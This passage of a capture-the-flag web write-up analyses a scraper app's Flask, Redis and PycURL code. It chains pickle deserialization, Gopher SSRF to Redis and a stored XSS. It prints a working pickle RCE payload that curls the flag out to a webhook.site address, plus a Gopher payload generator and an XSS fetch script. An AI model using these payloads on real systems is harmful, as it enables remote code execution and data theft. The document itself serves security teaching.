    <span class="n">urls</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'urls'</span><span class="p">,</span> <span class="p">[])</span>
    <span class="n">job_title</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'job_title'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="nb">type</span><span class="p">(</span><span class="n">urls</span><span class="p">)</span> <span class="o">==</span> <span class="nb">list</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">urls</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">job_title</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Missing required parameters!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="n">data</span> <span class="o">=</span> <span class="o">**</span><span class="n">create_job_queue</span><span class="p">(</span><span class="n">urls</span><span class="p">,</span> <span class="n">job_title</span><span class="p">)</span><span class="o">**</span>

    <span class="k">return</span> <span class="n">Response</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">mimetype</span><span class="o">=</span><span class="s">'application/json'</span><span class="p">)</span>
</code></pre></div></div>
<p><em><code class="language-plaintext highlighter-rouge">/admin/scrape/create</code> API route, <code class="language-plaintext highlighter-rouge">routes.py.</code>.</em></p>

<p>Continuing to follow the breadcrumbs, we know the <code class="language-plaintext highlighter-rouge">create_job_queue</code> is being called by the <code class="language-plaintext highlighter-rouge">/admin/scrape/create</code> endpoint. Looking at the imports at the top of the <code class="language-plaintext highlighter-rouge">routes.py</code> file, we know <code class="language-plaintext highlighter-rouge">create_job_queue</code> is from the <code class="language-plaintext highlighter-rouge">application.cache</code> file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">application.cache</span> <span class="kn">import</span> <span class="n">get_job_list</span><span class="p">,</span> <span class="n">create_job_queue</span><span class="p">,</span> <span class="n">get_job_queue</span><span class="p">,</span> <span class="n">get_job_result</span>
</code></pre></div></div>
<p><em>Some of the imports at the top of <code class="language-plaintext highlighter-rouge">routes.py</code></em></p>

<p>Indeed, in the <code class="language-plaintext highlighter-rouge">cache.py</code> file, we find the <code class="language-plaintext highlighter-rouge">create_job_queue(urls, job_title)</code> function, which involves using Redis for caching jobs and queuing them for processing.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">create_job_queue</span><span class="p">(</span><span class="n">urls</span><span class="p">,</span> <span class="n">job_title</span><span class="p">):</span>
    <span class="n">job_id</span> <span class="o">=</span> <span class="n">get_job_id</span><span class="p">()</span>

    <span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">'job_id'</span><span class="p">:</span> <span class="nb">int</span><span class="p">(</span><span class="n">job_id</span><span class="p">),</span>
        <span class="s">'job_title'</span><span class="p">:</span> <span class="n">job_title</span><span class="p">,</span>
        <span class="s">'urls'</span><span class="p">:</span> <span class="n">urls</span><span class="p">,</span>
        <span class="s">'completed'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
        <span class="s">'inprogress'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
    <span class="p">}</span>

    <span class="n">current_app</span><span class="p">.</span><span class="n">redis</span><span class="p">.</span><span class="n">hset</span><span class="p">(</span><span class="n">env</span><span class="p">(</span><span class="s">'REDIS_JOBS'</span><span class="p">),</span> <span class="n">job_id</span><span class="p">,</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="o">**</span><span class="n">pickle</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">**</span><span class="p">))</span>

    <span class="n">current_app</span><span class="p">.</span><span class="n">redis</span><span class="p">.</span><span class="n">rpush</span><span class="p">(</span><span class="n">env</span><span class="p">(</span><span class="s">'REDIS_QUEUE'</span><span class="p">),</span> <span class="n">job_id</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">data</span>
</code></pre></div></div>
<p><em><code class="language-plaintext highlighter-rouge">cache.py</code></em></p>

<p>Here we see Redis is caching jobs with the variable <code class="language-plaintext highlighter-rouge">REDIS_JOBS</code> and queuing them for processing in <code class="language-plaintext highlighter-rouge">REDIS_QUEUE</code>. If you’re unfamiliar with <a href="https://redis.io/docs/about/">Redis</a>, it’s a highly versatile and capable backend that can be used as a database, message queue, streaming engine, and much more.</p>

<p>More importantly, we can see that the data for the job is leveraging <code class="language-plaintext highlighter-rouge">pickle.dumps(data)</code>. <code class="language-plaintext highlighter-rouge">pickle.dumps(data)</code> serializes data; usually, where there is serialization, the serialized data has to be deserialized by the application at some point so the application can use the data when recalling the stored, serialized data. The serialized format is likely in use for efficient storage and retrieval of data.</p>

<p>When the application needs to retrieve the stored job data, it would typically deserialize it using the corresponding deserialization method (<code class="language-plaintext highlighter-rouge">pickle.loads()</code> in the case of Pickle). Deserialization allows the application to reconstruct the original object and use the data within the application’s context.</p>

<p>From my experience with deserialization exploitation, <a href="https://docs.python.org/3/library/pickle.html">the pickle module should only be in use with data you trust</a>. Since we can send our data to the serializer when data deserializes by <code class="language-plaintext highlighter-rouge">get_job_queue(job_id)</code>, we should have the ability to inject our own serialized data for code execution:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">get_job_queue</span><span class="p">(</span><span class="n">job_id</span><span class="p">):</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">current_app</span><span class="p">.</span><span class="n">redis</span><span class="p">.</span><span class="n">hget</span><span class="p">(</span><span class="n">env</span><span class="p">(</span><span class="s">'REDIS_JOBS'</span><span class="p">),</span> <span class="n">job_id</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">data</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">pickle</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>

    <span class="k">return</span> <span class="bp">None</span>
</code></pre></div></div>

<p>Our snag to injecting our code is that the application serializes the data then encodes the data in base64. Therefore, attempting to inject our serialized gadget chain to execute code directly, and execute code directly within the serialized data will not work as expected due to the double encoding and subsequent deserialization. Yikes; we’re going to have to find another way to cause our scrape job to be processed by Redis.</p>

<h2 id="using-redis-gopher-as-the-ssrf-mechanism-to-cache-poison-the-redis-cache-">Using Redis Gopher as the SSRF Mechanism to Cache Poison the Redis Cache <a name="ssrf"></a></h2>

<p>I zoomed out and went back to our Recon &amp; Enumeration phase. I reviewed my notes and looked at the project’s <code class="language-plaintext highlighter-rouge">tree</code> output. Understanding that we need to learn more about the processing of job data, I went to look at the <code class="language-plaintext highlighter-rouge">\challenge\worker\main.py</code> file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">redis</span><span class="p">,</span> <span class="n">pickle</span><span class="p">,</span> <span class="n">time</span><span class="p">,</span> <span class="n">base64</span>
<span class="kn">from</span> <span class="nn">scrape</span> <span class="kn">import</span> <span class="n">process_url</span>

<span class="n">config</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">'REDIS_HOST'</span> <span class="p">:</span> <span class="s">'127.0.0.1'</span><span class="p">,</span>
    <span class="s">'REDIS_PORT'</span> <span class="p">:</span> <span class="mi">6379</span><span class="p">,</span>
    <span class="s">'REDIS_JOBS'</span> <span class="p">:</span> <span class="s">'jobs'</span><span class="p">,</span>
    <span class="s">'REDIS_QUEUE'</span> <span class="p">:</span> <span class="s">'jobqueue'</span><span class="p">,</span>
    <span class="s">'REDIS_RESULTS'</span> <span class="p">:</span> <span class="s">'results'</span><span class="p">,</span>
    <span class="s">'REDIS_NUM_JOBS'</span> <span class="p">:</span> <span class="mi">0</span>
<span class="p">}</span>

<span class="k">def</span> <span class="nf">env</span><span class="p">(</span><span class="n">key</span><span class="p">):</span>
    <span class="n">val</span> <span class="o">=</span> <span class="bp">False</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">val</span> <span class="o">=</span> <span class="n">config</span><span class="p">[</span><span class="n">key</span><span class="p">]</span>
    <span class="k">finally</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">val</span>

<span class="n">store</span> <span class="o">=</span> <span class="n">redis</span><span class="p">.</span><span class="n">StrictRedis</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="n">env</span><span class="p">(</span><span class="s">'REDIS_HOST'</span><span class="p">),</span> <span class="n">port</span><span class="o">=</span><span class="n">env</span><span class="p">(</span><span class="s">'REDIS_PORT'</span><span class="p">),</span> <span class="n">db</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">get_work_item</span><span class="p">():</span>
    <span class="n">job_id</span> <span class="o">=</span> <span class="n">store</span><span class="p">.</span><span class="n">rpop</span><span class="p">(</span><span class="n">env</span><span class="p">(</span><span class="s">'REDIS_QUEUE'</span><span class="p">))</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">job_id</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>

    <span class="n">data</span> <span class="o">=</span> <span class="n">store</span><span class="p">.</span><span class="n">hget</span><span class="p">(</span><span class="n">env</span><span class="p">(</span><span class="s">'REDIS_JOBS'</span><span class="p">),</span> <span class="n">job_id</span><span class="p">)</span>

    <span class="n">job</span> <span class="o">=</span> <span class="n">pickle</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">job</span>

<span class="k">def</span> <span class="nf">incr_field</span><span class="p">(</span><span class="n">job</span><span class="p">,</span> <span class="n">field</span><span class="p">):</span>
    <span class="n">job</span><span class="p">[</span><span class="n">field</span><span class="p">]</span> <span class="o">=</span> <span class="n">job</span><span class="p">[</span><span class="n">field</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span>
    <span class="n">store</span><span class="p">.</span><span class="n">hset</span><span class="p">(</span><span class="n">env</span><span class="p">(</span><span class="s">'REDIS_JOBS'</span><span class="p">),</span> <span class="n">job</span><span class="p">[</span><span class="s">'job_id'</span><span class="p">],</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pickle</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">job</span><span class="p">)))</span>

<span class="k">def</span> <span class="nf">decr_field</span><span class="p">(</span><span class="n">job</span><span class="p">,</span> <span class="n">field</span><span class="p">):</span>
    <span class="n">job</span><span class="p">[</span><span class="n">field</span><span class="p">]</span> <span class="o">=</span> <span class="n">job</span><span class="p">[</span><span class="n">field</span><span class="p">]</span> <span class="o">-</span> <span class="mi">1</span>
    <span class="n">store</span><span class="p">.</span><span class="n">hset</span><span class="p">(</span><span class="n">env</span><span class="p">(</span><span class="s">'REDIS_JOBS'</span><span class="p">),</span> <span class="n">job</span><span class="p">[</span><span class="s">'job_id'</span><span class="p">],</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pickle</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">job</span><span class="p">)))</span>

<span class="k">def</span> <span class="nf">update_results</span><span class="p">(</span><span class="n">job</span><span class="p">,</span> <span class="n">images</span><span class="p">,</span> <span class="n">visited</span><span class="p">):</span>
    <span class="n">job_id</span> <span class="o">=</span> <span class="n">job</span><span class="p">[</span><span class="s">'job_id'</span><span class="p">]</span>
    <span class="n">result_key</span> <span class="o">=</span> <span class="s">'{0}:{1}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">env</span><span class="p">(</span><span class="s">'REDIS_RESULTS'</span><span class="p">),</span> <span class="n">job_id</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">img</span> <span class="ow">in</span> <span class="n">images</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">img</span> <span class="ow">in</span> <span class="n">visited</span><span class="p">:</span>
            <span class="k">continue</span>

        <span class="n">visited</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">img</span><span class="p">)</span>
        <span class="n">store</span><span class="p">.</span><span class="n">rpush</span><span class="p">(</span><span class="n">result_key</span><span class="p">,</span> <span class="n">img</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">run_worker</span><span class="p">():</span>
    <span class="n">job</span> <span class="o">=</span> <span class="n">get_work_item</span><span class="p">()</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">job</span><span class="p">:</span>
        <span class="k">return</span>

    <span class="n">incr_field</span><span class="p">(</span><span class="n">job</span><span class="p">,</span> <span class="s">'inprogress'</span><span class="p">)</span>

    <span class="n">urls</span> <span class="o">=</span> <span class="n">job</span><span class="p">[</span><span class="s">'urls'</span><span class="p">][:]</span>
    <span class="n">maxlevel</span> <span class="o">=</span> <span class="mi">1</span>
    <span class="n">output</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">visited</span> <span class="o">=</span> <span class="nb">set</span><span class="p">()</span>
    <span class="n">imgvisited</span> <span class="o">=</span> <span class="nb">set</span><span class="p">()</span>

    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">maxlevel</span><span class="p">):</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">urls</span><span class="p">:</span>
            <span class="k">break</span>

        <span class="n">next_urls</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="k">for</span> <span class="n">url</span> <span class="ow">in</span> <span class="n">urls</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">url</span> <span class="ow">in</span> <span class="n">visited</span><span class="p">:</span>
                <span class="k">continue</span>

            <span class="n">visited</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
            <span class="o">**</span><span class="n">links</span><span class="p">,</span> <span class="n">images</span> <span class="o">=</span> <span class="n">process_url</span><span class="p">(</span><span class="n">url</span><span class="p">)</span><span class="o">**</span>
            <span class="n">next_urls</span> <span class="o">+=</span> <span class="n">links</span>

            <span class="n">update_results</span><span class="p">(</span><span class="n">job</span><span class="p">,</span> <span class="n">images</span><span class="p">,</span> <span class="n">imgvisited</span><span class="p">)</span>

        <span class="n">urls</span> <span class="o">=</span> <span class="n">next_urls</span>

    <span class="n">incr_field</span><span class="p">(</span><span class="n">job</span><span class="p">,</span> <span class="s">'completed'</span><span class="p">)</span>
    <span class="n">decr_field</span><span class="p">(</span><span class="n">job</span><span class="p">,</span> <span class="s">'inprogress'</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
        <span class="n">run_worker</span><span class="p">()</span>
</code></pre></div></div>
<p><em><code class="language-plaintext highlighter-rouge">\challenge\worker\main.py</code></em></p>

<p>Looking at the <code class="language-plaintext highlighter-rouge">run_worker()</code> function, it executes the <code class="language-plaintext highlighter-rouge">process_url()</code> function from <code class="language-plaintext highlighter-rouge">scrape.py</code> to handle the URLs from the respective<code class="language-plaintext highlighter-rouge">/admin/scrape</code> backend:</p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%207.png" alt="Screenshot of the `/admin/scrape` backend." />
<em>Screenshot of the <code class="language-plaintext highlighter-rouge">/admin/scrape</code> backend.</em></p>

<p>Looking at <code class="language-plaintext highlighter-rouge">scrape.py</code> and the function <code class="language-plaintext highlighter-rouge">process_url(url)</code>, we see that the function utilizes the <a href="http://pycurl.io/">PycURL</a> library to perform HTTP requests and retrieve the content of a given URL. Most importantly, PycURL is curling each link without SSRF protections, which allows us to interact with the Redis backend on localhost.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pycurl</span>
<span class="kn">from</span> <span class="nn">scrapy.selector</span> <span class="kn">import</span> <span class="n">Selector</span>
<span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">urlparse</span>

<span class="k">def</span> <span class="nf">get_links</span><span class="p">(</span><span class="n">page</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">Selector</span><span class="p">(</span><span class="n">text</span><span class="o">=</span><span class="n">page</span><span class="p">).</span><span class="n">xpath</span><span class="p">(</span><span class="s">'//a/@href'</span><span class="p">).</span><span class="n">extract</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">get_images</span><span class="p">(</span><span class="n">page</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">Selector</span><span class="p">(</span><span class="n">text</span><span class="o">=</span><span class="n">page</span><span class="p">).</span><span class="n">css</span><span class="p">(</span><span class="s">'img'</span><span class="p">).</span><span class="n">xpath</span><span class="p">(</span><span class="s">'@src'</span><span class="p">).</span><span class="n">extract</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">request</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="n">resp</span> <span class="o">=</span> <span class="s">""</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="o">**</span><span class="n">c</span> <span class="o">=</span> <span class="n">pycurl</span><span class="p">.</span><span class="n">Curl</span><span class="p">()</span><span class="o">**</span>
        <span class="n">c</span><span class="p">.</span><span class="n">setopt</span><span class="p">(</span><span class="n">c</span><span class="p">.</span><span class="n">URL</span><span class="p">,</span> <span class="n">url</span><span class="p">)</span>
        <span class="n">c</span><span class="p">.</span><span class="n">setopt</span><span class="p">(</span><span class="n">c</span><span class="p">.</span><span class="n">TIMEOUT</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span>
        <span class="n">c</span><span class="p">.</span><span class="n">setopt</span><span class="p">(</span><span class="n">c</span><span class="p">.</span><span class="n">VERBOSE</span><span class="p">,</span> <span class="bp">True</span><span class="p">)</span>
        <span class="n">c</span><span class="p">.</span><span class="n">setopt</span><span class="p">(</span><span class="n">c</span><span class="p">.</span><span class="n">FOLLOWLOCATION</span><span class="p">,</span> <span class="bp">True</span><span class="p">)</span>

        <span class="o">**</span><span class="n">resp</span> <span class="o">=</span> <span class="n">c</span><span class="p">.</span><span class="n">perform_rb</span><span class="p">().</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s">'ignore'</span><span class="p">)</span><span class="o">**</span>
        <span class="n">c</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
    <span class="k">finally</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">resp</span>

<span class="k">def</span> <span class="nf">get_base_url</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="n">parsed</span> <span class="o">=</span> <span class="n">urlparse</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
    <span class="k">return</span> <span class="s">"{0.scheme}://{0.netloc}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">parsed</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">make_absolute</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">url</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">url</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">'//'</span><span class="p">)</span> <span class="ow">or</span> <span class="s">'://'</span> <span class="ow">in</span> <span class="n">url</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">url</span>
    <span class="k">return</span> <span class="s">"{0}{1}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">url</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">make_absolute_list</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">urls</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">[</span><span class="n">make_absolute</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">url</span><span class="p">)</span> <span class="k">for</span> <span class="n">url</span> <span class="ow">in</span> <span class="n">urls</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">process_url</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="o">**</span><span class="n">page</span> <span class="o">=</span> <span class="n">request</span><span class="p">(</span><span class="n">url</span><span class="p">)</span><span class="o">**</span>
    <span class="n">base</span> <span class="o">=</span> <span class="n">get_base_url</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
    <span class="n">links</span> <span class="o">=</span> <span class="n">get_links</span><span class="p">(</span><span class="n">page</span><span class="p">)</span>
    <span class="n">images</span> <span class="o">=</span> <span class="n">get_images</span><span class="p">(</span><span class="n">page</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">make_absolute_list</span><span class="p">(</span><span class="n">base</span><span class="p">,</span><span class="n">links</span><span class="p">),</span> <span class="n">make_absolute_list</span><span class="p">(</span><span class="n">base</span><span class="p">,</span><span class="n">images</span><span class="p">)</span>
</code></pre></div></div>
<p><em><code class="language-plaintext highlighter-rouge">scrape.py</code></em></p>

<p>PycURL is a Python interface to <a href="https://curl.se/libcurl/">libcurl</a>, and PycURL supports every protocol you could think of, including <a href="https://redis.io/docs/reference/gopher/">Redis’ Gopher protocol implementation</a>.</p>

<p>I did a few quick Googles to figure out how to work with Gopher for SSRF, and I found these handy blogs by <a href="https://infosecwriteups.com/exploiting-redis-through-ssrf-attack-be625682461b">Muh. Fani Akbar</a>, <a href="https://www.hackthebox.com/blog/red-island-ca-ctf-2022-web-writeup#the_ssrf_with_support_of_a_plethora_of_protocols__">Rayhan0x01</a>, and another from <a href="https://infosecwriteups.com/how-gopher-works-in-escalating-ssrfs-ce6e5459b630">Manas Harsh</a>.</p>

<p>Using Rayhan0x01’s Python script to generate a Gopher payload:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">redis_cmd</span> <span class="o">=</span> <span class="s">"""
INFO
quit
"""</span>
<span class="n">gopherPayload</span> <span class="o">=</span> <span class="s">"gopher://127.0.0.1:6379/_%s"</span> <span class="o">%</span> <span class="n">redis_cmd</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\r</span><span class="s">'</span><span class="p">,</span><span class="s">''</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span><span class="s">'%0D%0A'</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">' '</span><span class="p">,</span><span class="s">'%20'</span><span class="p">)</span>
 
<span class="k">print</span><span class="p">(</span><span class="n">gopherPayload</span><span class="p">)</span>
</code></pre></div></div>
<p><em>Gopher payload creator, proof of concept</em></p>

<h2 id="chaining-payloads-from-pickle-deserialization-to-redis-cache-poisoning-to-game-over-">Chaining Payloads: From Pickle Deserialization to Redis Cache Poisoning to Game Over <a name="game-over"></a></h2>

<p>First things first, we need to take Rayhan0x01’s payload, add in our Pickle deserialization, then tell Redis to cache the payload:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">pickle</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="k">class</span> <span class="nc">RCE</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">cmd</span> <span class="o">=</span> <span class="p">(</span><span class="s">'/readflag | base64 -w 0 &gt; /tmp/flag; curl https://webhook.site/&lt;YOUR_GUID&gt;?flag="$(cat /tmp/flag)"'</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="n">cmd</span><span class="p">,)</span>
		
<span class="n">pickled</span> <span class="o">=</span> <span class="n">pickle</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">RCE</span><span class="p">())</span>
<span class="n">payload_b64</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pickled</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">)</span>

<span class="n">redis_cmd</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"hset jobs 2813308004 </span><span class="si">{</span><span class="n">payload_b64</span><span class="si">}</span><span class="se">\n</span><span class="s">quit</span><span class="se">\n</span><span class="s">"</span>

<span class="n">gopher_payload</span> <span class="o">=</span> <span class="s">"gopher://127.0.0.1:6379/_%s"</span> <span class="o">%</span> <span class="n">redis_cmd</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\r</span><span class="s">'</span><span class="p">,</span> <span class="s">''</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="s">'%0D%0A'</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">' '</span><span class="p">,</span> <span class="s">'%20'</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">gopher_payload</span><span class="p">)</span>
<span class="c1">#gopher://127.0.0.1:6379/_hset%20jobs%&lt;ENCODED_COMMANDS&gt;%3D%3D%0Aquit%0A
</span></code></pre></div></div>

<p>Let’s step through my Gopher payload generator.</p>

<ol>
  <li>The code defines a class <code class="language-plaintext highlighter-rouge">RCE</code> that implements the <code class="language-plaintext highlighter-rouge">__reduce__()</code> method. This method specifies the actions that perform during pickle deserialization. In this case, the command executed is<code class="language-plaintext highlighter-rouge">/readflag | base64 -w 0 &gt; /tmp/flag; curl https://webhook.site/&lt;YOUR_GUID&gt;?flag="$(cat /tmp/flag)"</code>. Modify <code class="language-plaintext highlighter-rouge">&lt;YOUR_GUID&gt;</code> with your actual webhook site GUID.</li>
  <li>The <code class="language-plaintext highlighter-rouge">pickle.dumps(RCE())</code> statement serializes the <code class="language-plaintext highlighter-rouge">RCE</code> object into a pickle byte string.</li>
  <li>The pickled payload is then base64 encoded using <code class="language-plaintext highlighter-rouge">base64.b64encode()</code> and converted to an ASCII string using <code class="language-plaintext highlighter-rouge">decode('ascii')</code>. The encoded payload is storing itself in the <code class="language-plaintext highlighter-rouge">payload_b64</code> variable.</li>
  <li>The <code class="language-plaintext highlighter-rouge">redis_cmd</code> variable holds the Redis command that executes. In this case, an <code class="language-plaintext highlighter-rouge">hset</code> command sets the payload in the <code class="language-plaintext highlighter-rouge">jobs</code> hash with the key <code class="language-plaintext highlighter-rouge">2813308004</code>. This key is arbitrary and can be set to any digit.</li>
  <li>The <code class="language-plaintext highlighter-rouge">gopher_payload</code> variable contains the Gopher payload constructed using the Redis command. It replaces newline characters (<code class="language-plaintext highlighter-rouge">\n</code>) and carriage return characters (<code class="language-plaintext highlighter-rouge">\r</code>) with their URL-encoded equivalents (<code class="language-plaintext highlighter-rouge">%0D%0A</code>) and spaces with <code class="language-plaintext highlighter-rouge">%20</code>. The payload is prefixed with the Gopher URL scheme (<code class="language-plaintext highlighter-rouge">gopher://</code>) and the Redis server details (<code class="language-plaintext highlighter-rouge">127.0.0.1:6379</code>).</li>
  <li>Finally, the constructed Gopher command prints to the console for use in the stored XSS proof of concept.</li>
</ol>

<p>With our newly created Gopher URL, which interacts with the loopback address for Redis, we should be ready to poison the Redis Cache with our stored XSS:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="n">script</span><span class="o">&gt;</span>
  <span class="n">var</span> <span class="n">job_title</span> <span class="o">=</span> <span class="s">"title"</span><span class="p">;</span>
  <span class="n">var</span> <span class="n">urls</span> <span class="o">=</span> <span class="s">"gopher://127.0.0.1:6379/_hset%2813308004jobs%2&lt;REST_OF_THE_OUTPUT&gt;"</span><span class="p">;</span>
  <span class="n">urls</span> <span class="o">=</span> <span class="n">urls</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">);</span>

  <span class="n">fetch</span><span class="p">(</span><span class="s">'/api/admin/scrape/create'</span><span class="p">,</span> <span class="p">{</span>
    <span class="n">method</span><span class="p">:</span> <span class="s">'POST'</span><span class="p">,</span>
    <span class="n">headers</span><span class="p">:</span> <span class="p">{</span> <span class="s">'Content-Type'</span><span class="p">:</span> <span class="s">'application/json'</span> <span class="p">},</span>
    <span class="n">body</span><span class="p">:</span> <span class="n">JSON</span><span class="p">.</span><span class="n">stringify</span><span class="p">({</span> <span class="n">job_title</span><span class="p">,</span> <span class="n">urls</span> <span class="p">}),</span>
    <span class="p">});</span>
<span class="o">&lt;/</span><span class="n">script</span><span class="o">&gt;</span>
</code></pre></div></div>
<p><em>Proof of concept for the stored XSS.</em></p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%209.png" alt="The stored XSS payload is submitted. You can see the 200 Success `POST` request to `/api/admin/scrape/create`, and finally, you can see our created job is sent to `POST` on the `request-quote` API function. Magnificent!" />
<em>The stored XSS payload is submitted. You can see the 200 Success <code class="language-plaintext highlighter-rouge">POST</code> request to <code class="language-plaintext highlighter-rouge">/api/admin/scrape/create</code>, and finally, you can see our created job is sent to <code class="language-plaintext highlighter-rouge">POST</code> on the <code class="language-plaintext highlighter-rouge">request-quote</code> API function. Magnificent!</em></p>

